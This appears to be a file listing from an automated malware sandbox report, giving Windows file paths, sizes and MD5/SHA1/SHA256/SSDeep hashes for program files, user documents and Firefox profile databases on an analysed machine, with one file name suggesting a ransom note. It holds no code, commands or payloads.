C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\43GhgeoJ1r.jpg	94.71 KB	MD5: f984df591db376d288327cf96378469a SHA1: 727661334b1ebd8342102f187bba12801541e321 SHA256: a90c22b749443d744071482a0798f20df41819b6a992121fbba0d5927e3c0a13 SSDeep: 1536:1eIDCHuD6A+ILzfw3e7pCvz4eC2IsfIZ6FuRrLtAc0tIU2V0pSO:kIDCHc6SHfw3egr4EICFuRHtt0If	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx	69.38 KB	MD5: 6245ff4faa0e9e4f92b9666e05543732 SHA1: 6f1a03056e6796bcd91a1ddc20c67a45b0725c8e SHA256: 2760ba9a4cffe3ba32589b5f35dae6a0ebc8fb4021a99dfbfc5da1b3939a061a SSDeep: 768:xNUsyX7pYPPprPdb9xvNLqDKflXQNUsyX78O:xNNWyPRrVb9tBqGf5QNNW8O	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx	69.38 KB	MD5: 1d13fdff14bd1289ceeb2bd7fafa3a1f SHA1: 74e275529d68ffcba453127d2f2d784ab8acba51 SHA256: 7c8156efc35a8463dffef1ee717d7e7a2aca19b7ca087eee6256e1783daeaf9f SSDeep: 768:3YRQPR1lP9CCZyTWRJ6E2RTjTwfkYRQwO:3YRu1Z4kYBYRJO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\rmiregistry.exe	17.45 KB	MD5: 79895fccafaa92105753cc13d822808f SHA1: e836423bb13be8d0b9eb89546e9f5c697b2f501a SHA256: e49f9c1e3eb12111f0d9912582ee4ea0999f694b717c62848b20668727683ffd SSDeep: 384:yrJujKNZZee03nYPvtx98mT0R74YiCfHu:yvbAeih7UYdO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\optimize_poster.jpg	24.84 KB	MD5: d11d6a7b972213573795ce7e1d05c4d5 SHA1: 7e0952515b245422664d2008cb65f1709c6474f9 SHA256: ff2bd9afef2b657c3731487145fad9dd89b29fb7cb4566326f5f6aabf8c548e9 SSDeep: 768:6KIaLa8pnSpdO9CRBlXiT4zrFF+cqJlPO:68La8JSTkqjY4zxF+cqPO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\javacpl.cpl	184.38 KB	MD5: f37fc03f49090c0fdf0d5d79a6a57f8f SHA1: a2bcaed401d1040ed4fa8504da58183f15c39bb4 SHA256: d1f9ebd4d2e147aa2df1d71d48502ed0f34e38fe55c2efe00cf9f41bfa7c5172 SSDeep: 3072:5F6j1FjPzRf7V0h7wsoh/TLdiNMYIsuorYU20jDjZqMi5:6jnjrZGwLh/TLdiNMYInezjJc5	... File Actions Show Properties Download
C:\Program Files (x86)\Google\Chrome\Application\61.0.3163.79\Installer\chrome.7z	174.48 MB	MD5: 63dff95884fe78d4f2c3cc03d1f7d87d SHA1: cb9d98a47daf17d5a3b4bcbcab67e40fab6b39da SHA256: f82b1c524c74f85e70d348557e36024b111fdf426e99c75e122e490d081c8d07 SSDeep: 196608:MJ/gk1G+B5tHnR23n8irAxBEtulKXxTubo40d7xfn41LOcAZq:MNTBHzKAH0ffeyHZq	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\ZOJs8SfeUiV.docx	74.76 KB	MD5: e407860ae59691d989e7de3f453edbd9 SHA1: 54e98ec8a150aa971c5d9d5aedf385b995ad3566 SHA256: bd270fc5f9e487c35aa326e3025176035efcc3fa4e3bc4c6fcb2562caf719156 SSDeep: 1536:f1/tT7tyCDzbhFJj7fGcYCL62wLbL+xTByxac3mWCHgbn/k7mPw3O:xV7vX17pCLbL+SEczCHgzUF	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaTypewriterRegular.ttf	238.39 KB	MD5: e43a2068228c09b871094a6c5efe955d SHA1: 84a3b28cee7d0cde104c0a4a6ec85e83a1228d6a SHA256: 5ea58122964be2871a25046a87822a10c5bb8654446f0e1384b973084bb835c0 SSDeep: 3072:S+G7Cllg+UGFDUnrrHqMyBtlc3+fzx5R1zeqZdDgfSkecUfEDpEXzSyPMR9XogRo:Selm46Ak+naqaucYEDpEX3gZo+o	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\DefaultID.pdf	80.14 KB	MD5: 1da5c11be43a19137d3f2155f7d80bea SHA1: cd3b4e3e55ebfd385809b879bdfafa7a83238194 SHA256: cc9045dd09a858160535c6eeeaaeb47ee37f13dbe47a310b7137c95af45a344e SSDeep: 1536:8vIXszEpKs0yMGY+70umYYBN9ELwracFbpE86GD+XDKAFoL/oslFD1u+LO:8vEUL/GS0P80XXoLzFD19L	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\edit_pdf_poster.jpg	30.29 KB	MD5: c784557152756a83a75852a79f1a289f SHA1: 1d529e47a45f7261baafe69e02135f40ba0e4f7f SHA256: e4c7cae5b7fe19c1ba9a39cb007d0f8f76ca4703263a6b5d1528ad01dba7d2eb SSDeep: 768:HhweNPpxaYapqDoCuVu/+++++++++hjF86eBjJYbIls9xiBUlO:B7hxasMF81VYb0cxMOO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\cmm\PYCC.pf	269.42 KB	MD5: 27ba3139bbe0b1bdc6b6f39f02c319d2 SHA1: e8b3ac5d5f4adc7b530278fea032479a9326c81c SHA256: df3c7addbc219549baff9cd5907faf2a9c63492eea4781e113eeab3aa7a7009c SSDeep: 6144:hjNRNRyAnAqNaADEJHeeeeevoAuaiqwV6sg0pUjRVgYgY:fRNRpN0j3qhjRC9Y	... File Actions Show Properties Download
C:\588bce7c90097ed212\!SDEN_INFO!.rtf	2.78 KB	MD5: e08b85666d4abb7b2ef9f00a160eaa95 SHA1: 144b560a8bdcec18db30c67ebd4b4a5f0fb144dc SHA256: 661ee5947c010908d25789b07b6195d091480166fab8e010308d360ad5651fcd SSDeep: 48:5GapRUMyKJXD6l6O5VIg+ChV0AGr88Ue9ik1THWvrJoFjE27x8Dby:5VUVKJ6lL56gHvGr88gk1zWvFYw27oby	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\bin\pack200.exe	17.45 KB	MD5: a0c4c066a4c08f5eccfc570cbd94b3bc SHA1: 3686986d89108de9b986913ca405ee87cc769e60 SHA256: a2e94e4ba399a6f052fdea8a04085ce9b14080ec7df951fadff6b5f11be6f8b2 SSDeep: 384:WyuAGeGz4zV4G6IS4wtOKNN/eeHrnYP7WfuSjQ8p5jCfHu:HLhzVb6MwtbvWeLZfuSjQpO	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\content-types.properties	6.80 KB	MD5: b40392559f69cf207f06ed193cbcb1ec SHA1: c72e6bb788a3cbc206fdbdba7b5b85844c097211 SHA256: fbaf2a161e5b23c7340a9df66b2487a6ad5c4e7025effe0bfaeb4b4fee7e8cb5 SSDeep: 192:DopAxqT0gyNZN6eacz8NsHl2z3tL2fHu:a50tN76b/NsMzdCfHu	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\ALL_dmp.fldp	600.76 KB	MD5: 060b206280f4428e6d2cbe873324fe45 SHA1: f9f76bd59f303fb2751b3ec5abbf15574d9dccde SHA256: 4b554f5fcb57b8e8a7280384556ab1112b199684dd94ac5fa6b84fc83a3ae7ce SSDeep: 12288:p/nXJWQMw9LA9YyWk0h1mLsN3syXt/6jEXFXWMbLemhhVqAD:NnXJWB0U9AfDAs3F6IVmMGmhhoAD	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\log.txt	0.07 KB	MD5: 08f3adfac51182c8f85d01defac3e1a2 SHA1: 2701af5565fe8b6d87de3a6b8ba99e1367bf4129 SHA256: 9da3fb5e2704a6fc4ba6914e02c4aca49545422694ad54753e8fe7127487c874 SSDeep: 3:JM3cOlpIgWQpVf2DV0t1b6MwFB5UZ:JM3cMOgWQiDW36MZ	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\GJhtEkh2.bmp	58.88 KB	MD5: 86186183a27aca3accb7fd82e159ad45 SHA1: 76d07667d53a2a69ca3ba6cab9060e9a84e1a5bd SHA256: ef601e2e0eddc23a7b9539ca0804c50acfe8d51a1b7f2dccf64a289476f987cd SSDeep: 1536:N0HChXGSkflmxvTuPdp6vnTktIeqrfTNIbL/qyJ0mIk6pk:yChXjkfExuP8TyCrfTg/5JIkUk	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\V1nQ8f0P.bat	0.26 KB	MD5: 19dc7d307edfb5f15d543162a49fdf11 SHA1: 23b1741c3ae1859a65e70629797457027ab87bdb SHA256: c4e5676f8b11b86077b369646d2039627ddfd8ddf6fe6d7d15b73360d6056b86 SSDeep: 6:joN/vIoGbgp/w0XHKtwkwPsxiaZ5JPgouafwvPqTwbWn:wnO/OHBv6NHB0P67n	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\c7356Qly.bat	0.22 KB	MD5: 761f8832dd3a2c27981ee9af91b4b9d0 SHA1: ebfe5fa99462670b91fe2b3e03d788c1218af9a4 SHA256: 560974b7dd2bc971c273e02bbdf27c4e796e910295ac09deefe932df53467f7c SSDeep: 6:fC2Cv352Xu1mRTFHxOfSXY2VYLZaQC2VDFcVBn:XCf52XumTXOf69VYLoQXVD6Bn	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\content-prefs.sqlite	225.38 KB	MD5: 8620867202ff29a2c92a8d7230aedf07 SHA1: 2da8a1b39291f224ba6fb4c8a3e1f188ec07c83e SHA256: f6c0ca7ecd2ebf338c53f4d096d0e1881c590873b6d925dbb7b39978a647fa92 SSDeep: 768:poQLvzX7V8sQZeIidWrtmrOoB2ZtGVQilBEEtnkXCbSAuPLxQLvzX7VhO:b7XisQZ5id+0B23oQilBLnZ1uy7XPO	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\cookies.sqlite	513.38 KB	MD5: 507ab01197015a702f9c3f023e0d6ea4 SHA1: 793c5fb8f5ddaf280edddee988ecef8af539ff66 SHA256: 2d45a20c85fbb7c4d51a8bf9060040d018f1e9615b39a238f85c9ebb0b48e43c SSDeep: 768:v9gdOYHyNGIJsIKFX828Z2ojoqe9dQtGlcq2EI2oWZ6+39gHO:v9gRHyAndFX58siWYt4cH92lU+39gHO	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\Outlook Files\kkcie@kdj.kd.pst	266.38 KB	MD5: 10ab7d8e08ff0e7c03283d4fa12ccfa5 SHA1: 944080c88ac7b29a68ca8d6dcb29696c4bd6c472 SHA256: 4a0c739259fce468cec9b2fd36031f9883614ec6599bb8530aafa0b3b6bb1325 SSDeep: 1536:jQo7zlGsOVhG4HpIFbpg0NbVzEEGmjq6GI8plYWi/QoNO:jQkqG+pIMQpUmjWiQ4	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\ZBNeq\HRt9zX--uxTxj7rs8.xls	50.70 KB	MD5: c7be74e91d7f5713ef02f0946de49403 SHA1: e65daf07b456014b40251add06bd0ffb69427529 SHA256: b427cbb9747be4820948e19681b340701392efe812ab9aa477434bd474c37304 SSDeep: 768:HyorIAr1ZJH6SkaI8NC9ZHseyQisMKDxTnRZgsk1e0RhnQukV6vc/U3O:HPrIABP6PaJk3fyMhgs10R9Quj0WO	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\Vw9 cNao_kB.doc	77.55 KB	MD5: eae52f0cdab42af500d4804b2738ea52 SHA1: bddaba00bb7f997f7f754c5f1394244e2bcce69e SHA256: 90ab0742580e93b5cbb239b0c6ae77a5b945718f52db8540a72fd8019f374a25 SSDeep: 1536:o8+bXP58oHMdkHU1LgSUZe07/nVAcRoumXRRbX6iN1yOvLhZmoNRdbMjzSNaO:o8+7BfHKkHUvUM4NLRKXzbX6qyOjhZmP	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\PDFSigQFormalRep.pdf	458.62 KB	MD5: 675a7a6301cc25575ed25ee6a1ded6f5 SHA1: 772d3ec8ed44758c4cca5004cbfd7b34efd83a59 SHA256: 172a8cd8a79c5fabf91acaa86c3cafa94c69d0d6d96d9050b75dd82e1236e290 SSDeep: 12288:4OfNvEbwosc3h+N8hcBk5/732yYLmAQktFgn/AURkOZo8KYCqt6YSAaEM+ZS3VOt:4OfNkYnHN+/3	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\ivYTDOP.pdf	9.54 KB	MD5: 69cd46880640015086e569ca387b5177 SHA1: aab3a78430b850470312d3fb10e83fc9370fb87a SHA256: f394b086126d4e2b91a1ff9347b757fba0805aabb6502555eeb812d42446a86c SSDeep: 192:/CS/tZoG466K7CYEWC9Y9Llr1bW4uX6FQLeuIngdJz7L2fHu:/BrDz7LHLlxObI0fCfHu	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\edit_pdf_poster2x.jpg	73.73 KB	MD5: 5adbfd04abc15ee0c6ffaf38632a0d4d SHA1: a9d1110f00361fb1408a086c2d01d8521d654f86 SHA256: 87fd6df013e8de4c3e8be326d8dd5ada2f4d5b6617ec45452f1ac2b3a3941ef1 SSDeep: 1536:u27oOZL6TAubwvFqbvxiwIzSXJpTihqMz2VthjU3UjO:u4DL6TAmwkzP+4tzhdVj	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\scan_poster.jpg	31.02 KB	MD5: 5f5efd862c11bdfbb8065bce41351cb3 SHA1: b64293fe8af33a0aad5e551881551473bf436c94 SHA256: 49c9788261e3e89f58e54bc86e7df978de8e694bd0e6054038874337ae421228 SSDeep: 768:Pp8LZ5eaVdIsOl1uiiuZa+LZiVfkCNbJTn8VYAPKj7HcDChWHQIVfO:Pp8LLVesOl1kcjZSlJThsHQIVfO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\organize_poster.jpg	26.42 KB	MD5: 3783331a25e7a0f7afd3a4b08210919e SHA1: 9495518cf9f9ffaa8c2f4553f68b3ad4f289dc80 SHA256: b95e75f0f44ed1faa17313c269da875a01ec9b7e113528d7d5d2ddbe69cb1bd5 SSDeep: 384:znM2eJ33crP+a6/yZ9LT4VR8sLML6xtNnvQhQ1CIvgnLPyNtZvCfHu:42xr/6/c9LOR8g6+1CIvmWKO	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\q1N9.jpg	10.36 KB	MD5: 2292764af3ff2de63852132d0fa630c1 SHA1: b4a92f3df62d9e53899a06caf205f5ab626a0736 SHA256: f95430e8edbbfacd5feb1141b87b70fe5fa6a2c487380bfa9802a94127c717c4 SSDeep: 192:LLr/mZl2G/y5Oq/RcYJ4zoaYckNWm3/lRwhvJIm/vqTtNUSb2KS/FFcV4L2fHu:LLr/i1O4MaYmm3/Hwh3i3USbI/F6V4C2	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Local\Google\Chrome\User Data\Default\previews_opt_out.db	17.38 KB	MD5: 4ef8b9fe9787e45af06154845db1fd40 SHA1: 41e617d3ecf5786a3bc84bc1bb6d701df4bffac3 SHA256: 44570c1608f62c61581f7b317eacd04cd622ee1c79666da223a61fc8fc945208 SSDeep: 192:VkDTGUosQ03ByVjbkDTGUosQ036IEKL2fHuL:VkHGUo0SkHGUoPIFCfHuL	... File Actions Show Properties Download
C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\Kw9XQh.jpg	34.53 KB	MD5: 302cee3e51516a7f12a7b52f6a211c93 SHA1: 80fb824892fab136618d72c08ea195664e53f01a SHA256: de11464e1667732d95d5870774279829854f751a858bc08b0df98eb932a2d3b9 SSDeep: 768:FGWGZa8Sbrgtx4wDvk37DfVQL+x1wbVWbzyr2QqbDvnC2eIABquN/+O:oPa8SYtLDMrDfVQKTwbEvyrYbDhGouNT	... File Actions Show Properties Download
C:\588bce7c90097ed212\netfx_Core_x64.msi	1.81 MB	MD5: 03b9f70a9c4074f81e94f6401967d166 SHA1: 4b4d7ccfc103c27becab2a93924ec25a2376777f SHA256: 835595d96b827125d17df1e7f6b9162c3a81bec78d48e2d36d611cd5b4e41aa2 SSDeep: 24576:2rYZ6tsNrQpc+BQbPyxbs4rONSnfiPBC6xahsovoMfjhOGxZWxw:2rs6tuQpcxisfQf2M6FGoML	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\cert8.db	65.38 KB	MD5: d5d473d842c119ee19ab2a8d6e5df3dc SHA1: 037fafc79be59e9a3c3f9ad77c915c6a0e3df055 SHA256: 2f8523c4e4a7692ecfae23502cd16a79e8c8e7949d8f3563e86c1ea53cc54667 SSDeep: 768:a1Wwx+KybgePSVnIqGLpQKYBfGFMZuQZ7DO:a1WwYK2gePSVnI9QnBO/mPO	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\permissions.sqlite	97.38 KB	MD5: 8e0cb1fa07b7bc05f838144021c74b4b SHA1: e6121473d85cd630d80545e11f8f0a0243cf53c4 SHA256: 06d09283bfb5e2b22210f963760087b4ea4a6c920d35823198f6cc934b06eeee SSDeep: 384:tm+tJKB/yi//a3C+v+PwzWNp5o42abQkT1JhKG3j4p7M+tJKBXCfHu:EwkB6z3kHpy47rb3U4wkBcO	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\6HQBe1Id.xlsx	46.87 KB	MD5: c46a6ca978317e712a26d5d415dbc629 SHA1: e4746210c0f5f9dc5f3d68bb6974aa4133c4acd8 SHA256: 0c4c1353636e2190a59d12b8191e759a195692b9a33803aa62e65febbbe1e7d6 SSDeep: 768:IdhgJl+ovf1sj+jQXCsWJQPIhg6/zlsjOXoCKGIxYboxT4X6rth19JO:IEvzpeCPQPIW6bGaRKGyeATG6J9JO	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\wx1gKcZ ARkXbsEtQ26.docx	86.16 KB	MD5: becb1495ab9952c2418dd1d4a1804ff6 SHA1: 23e1e64b49e5f0ce900bd07784f5047156d2d402 SHA256: 1ca22b3d90941c5f54c275dc8c37d15d349b32764d2aa67d8e42654736cc7673 SSDeep: 1536:l6pBVjMS26whtv/MtPD+TsD8eHIVsupsO/DRlLGWr3cUa57QjH7JT8P4IU04O:kpBltWxMt7sDUuZRHsUa2fSX34	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\JXIUqqf 3E1.odt	22.23 KB	MD5: 5a3f75f50fa10bf53f0a1a7c2ee92e60 SHA1: 0aedfcfd8656131d1cb874dca42233994cf8a308 SHA256: 286d983962e4d76e5781c4d8f8148a28572b774c1213948908eaadf527f9379c SSDeep: 384:QwIXBoiA9tQMZXozhy9CbJraTJkt0v9NjhRKLQOGx+nxNZScibaxxxPb5YtCfHu+:pYCtQM8Q2o6tK9Nj3elGxCZSc3xtYyO+	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\key3.db	17.38 KB	MD5: f48439d12f1585fe81f7b1db177dbc47 SHA1: 6b5ba23331b1fa0c905d8176ceebc0d8af11df75 SHA256: 5a6193fb2bf70cfecaddc412c78948b2f13099f0aa0d182ec37aa55ad8b71dff SSDeep: 192:joklxfwGPHnaXhjtmTMCkMX48hBpNJkGyTbNdmMvr5U+lgCitxL2fHu:jokzR/naXOTEKp/aTBQY5UPxCfHu	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\secmod.db	17.38 KB	MD5: 7c2f0d02508a04460c4dfc70e48ed423 SHA1: 6a76ce5ebc14c2c5d96bdae01e98e348dad584d1 SHA256: 8b9ac25012437b9a5c8a59d2f8dc6ceeee9b1f6e65e9ba0015985352e5288700 SSDeep: 192:jm2I/U1G9EIHUOrycCebzvviHE/s05xvmI2z/itIovOwcL2fHu:jmB/S+tUOecCebzvigsGmI2zlAcCfHu	... File Actions Show Properties Download
C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x64.msu	4.96 MB	MD5: ebccc7542f3bbf4fb12439226234c51e SHA1: a3096cd761b0cf015fe0be0d5881ff9afce42bab SHA256: ff26a708671e1a8915f84b920845d0b733af3eaa40ab4ae21be420b25731da7f SSDeep: 98304:K71KAuEAUjX57BkOKxUKnat45mFe4H5+Ju4JKUYc93iKlOKJhl:KhKk3ZBkOK2Knq45mY4H5OMKkKzl	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite	5.38 KB	MD5: 47c7c7f64e1b85c543637e809b30d23d SHA1: 29a00db4b8eecd6703b793aaf3e4c164b5d8e821 SHA256: 56466e5364b13b6b2599590f1ff247e2eb8c566467d8d8f7fe0fdf89d6b42706 SSDeep: 96:8Rz7cjqk6vNkza5W3ZldCLfIrTQUySBSLFJr3Z5ibdILvTVvS1XmL/ufRNumUa:AV9NYa5W37dtHQUyUsFJLZ/LvTVa12L9	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf	41.15 KB	MD5: 1fcf8df32b330c4308a88d118a1613f6 SHA1: 34f9b6005f19fb37ca473738cb650d25eeb13dd6 SHA256: 944082512c291bbe5bb7420e2537af2a1e3ef71164661b4c4db1ef2dad75ded2 SSDeep: 768:20XUCp323Tl5LqXSpp31tPiMBn9gznvy0BUn4tuNCO7:9UAOTXPRzgLi4YkO	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\zZn5.pdf	98.17 KB	MD5: 05362bf5cf5adb1c59b39683772fe8ba SHA1: 27d0cbafa536e31f187aec64c0bcf1a9bce4a07d SHA256: 08d0e2ac1328092c4999c4d16f58241bc850c242bec0ce81460b2cbc44fb4a02 SSDeep: 3072:PE556K2H8RATPl0lw5ZAwJ60X/7AZH89g5Ft:KH2H/a2bJ60X/uc9U	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Local\Mozilla\Firefox\Profiles\w7cr0hor.default\OfflineCache\index.sqlite	257.38 KB	MD5: c86b4ad9f63122b1e57aac4610c2434a SHA1: 1a4813035a3a3c3a8e34d16b5f75ba879adea2fe SHA256: f8e7fc56f3856017c0e35affa533670656bf7944b480a93e017d510d8553b2e6 SSDeep: 768:ChLYgaqFr4MXngsxXuczWqpeqLDMW43jgXgu5IguBhLXO:3NquMX6czWeMWe8wwIguLO	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Microsoft\Access\AccessCache.accdb	197.38 KB	MD5: a60ce24e3059ac3cf145a8736cf86858 SHA1: 54268a62cc6b494302e7692cb0ed15512123a60d SHA256: 11837743f849d45b8988ec959fbeba4fdf86e93f8fcd94ba381799f4fa0adcb7 SSDeep: 768:ajhWEebni+OldKRQLWKyw/mOnJiE2Vi/fh6YRO:1EeLKdKaLfyw5QEjfh6AO	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\Database1.accdb	341.38 KB	MD5: 345905edd415f4747a28179f448c74d5 SHA1: 5442259c11dc9c9994f657f3f219756b5efa3c34 SHA256: 0d75bce653d23554283127a1209bcec26e226cfdad665ecfb0ad9fd28845582e SSDeep: 1536:A3u9lxp6JN/ACa7SDvsqVavdFZxNVnCvSs6Y6Vk/uFMIesyA2kKYjz7ZdGMdGyfC:O+vCIZuDvZUFnxNV3GOG+wF/i	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\optimize_poster2x.jpg	66.71 KB	MD5: 46053b1827809ce9f3d42a74431b213a SHA1: aa528e0e9483df7b3cf09124cb96c17fa6312a5e SHA256: 86ea7333e078b880531209d268718406816f628683558e34dd50da1817b602da SSDeep: 1536:cwDk3NL5zE0YaHvO8l/jstnJ577CvNtj5RSLGCJzlynUQ/PtwO:VDioaHvvgV78BRSLxG/Ptw	... File Actions Show Properties Download
C:\Program Files\Java\jre1.8.0_144\lib\deploy\ffjcext.zip	15.21 KB	MD5: 0bd509cf3e508b5a1970f3d94d292a13 SHA1: c1cd87a140ba6856406d193071890b9666ea64a5 SHA256: ea60b5a905d79052b3c969b5b9f808eeb5b77a41202a09ad2ff74dcf6ae7b7db SSDeep: 192:X+SD4695ppUSyNQ3uP8RbZKtFm/uo8mINRYjIjxdhCYGGjL2fHu:/d95ALNQNzAGuojIPYjyxuGjCfHu	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\HV67.xlsx	93.28 KB	MD5: a135332c394fda83916f8628b3fdb996 SHA1: 80a4c8d599df38e57729867253455d7688a726ad SHA256: e1a5018a2b53ae674d7c23a19de6a520e4aa4914def8ef8f750d8a8e638cd829 SSDeep: 1536:4bUX0tLndIxnIgT6sCMY/OKg3fbzjjdSvkBUIsJpCECV8PnRgrXpfSHsGmDvO:+Q01nOIGRYWKgPbz3Ba7w8PO5fWjmz	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\xjYLW_hfZv1k8ab.docx	57.51 KB	MD5: 9747d6274986fe318929380492b36dc6 SHA1: 6ac1a3fba21af54af7e3c14a7fb29834e8c32798 SHA256: 996f25a8783035d8cd1b09119cf35c409ba90c7e65ccec8c3417b143473c952b SSDeep: 1536:nRYeF9OX11Z6eH4Zm8A1ONbemVVv+7wjY2gzhv301KuO:RFFoBHwmp8Y0RkJE5	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\qIJWv_cl3Fl.odt	87.63 KB	MD5: c37df355dacc50e733539f8048ad7763 SHA1: 29666182666406cfa0a0a52e6bbffebb4d287322 SHA256: 48127b6ea411648547076fa1227accf87a7a8e6af887613eb4b8b654ec890aba SSDeep: 1536:dLb+Pc0UQd1Rr948xFEmAHYrYtuRF0JQRxIymr1GOnB8j4ZGAJFojJqCv0ObPzIO:N+U0UkPJ41fYs4RvxIymr1LnSj4Zv/og	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\YFbehrau7-I.xlsx	43.92 KB	MD5: a4f84bbea31718be74078c0f3724fedf SHA1: 23babdd54e4bd63478fb91f2e21b37689118e525 SHA256: ff18b46f801f80a9014bedfa2db46393e294dc4275943bfc8f5cf5e9ae4112b3 SSDeep: 768:WIGFi89h4xD6kxagc/fKWhN5kLuQcsASonWAjv7F2UmXNrWWf+3L3O:WBE89h4xtc/SW/JQxoReXHf+3DO	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\Xp8i-yDNo1to.docx	23.04 KB	MD5: 0798d5e318b68cf880f2ad883413b6b4 SHA1: 214bae15aa6cb119ef69a60ac4fe13429f4aa90a SHA256: b012c55bf06d36655b649152f52f97554cc99164d54dee0aaacd926ccb897aec SSDeep: 384:ooSzyAldp2kMWTylKEYoruboUvul/+gHsbNBSDAZoIDV/AvlCfHu:ooSzyewlW+tYorWWl/ah6yDVYSO	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage.sqlite	1.88 KB	MD5: 7ecd8ada04ef68e38ee04c77899b37fe SHA1: 7fb06c800c0c40aa168514648c14940eea75757e SHA256: 135b90c98c79df8e2559b8ba9bcd5df0f736ddbdf636ebacf91844aa4f6d22a5 SSDeep: 48:NX1gzx9bH1clA7FZ/NmLaPcuB4i+gNiZvuUbHeR:h1gzx9O8mL/ufRNumUa	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\lO-5UKEm.xlsx	15.63 KB	MD5: 0463ac97b3212a45355a6c3d4f7dc570 SHA1: ef9aeaf9bc94e4ace80aecc6951a37e73881dc03 SHA256: 607f75e2c372adc6ce35a2859ec6bc219cade0b39a537881a77d0ab90bb43633 SSDeep: 384:IsWJ5FN9Y3aSkHmXE3q6zL1gawZezMoQOmZPwACCCfHu:u5zjmXE6W1gxeooQORAC9O	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\N8Jr-vH1xH.docx	2.72 KB	MD5: 20df64584ce89a8ca0fc01c5f1ec7da0 SHA1: dd00abbcb41b93e26d5c500954feeca7526e1c56 SHA256: ad7326df51388650e121f8b862a48f65515667a7097bd18deeb968d3d68e10e5 SSDeep: 48:VenHWpPxpDj0lINiiY/VUtrJRkpHtdgbmb5NmLaPcuB4i+gNiZvuUbHe:snH2PDsuNiZ/VUJJRkpNpmL/ufRNumUa	... File Actions Show Properties Download
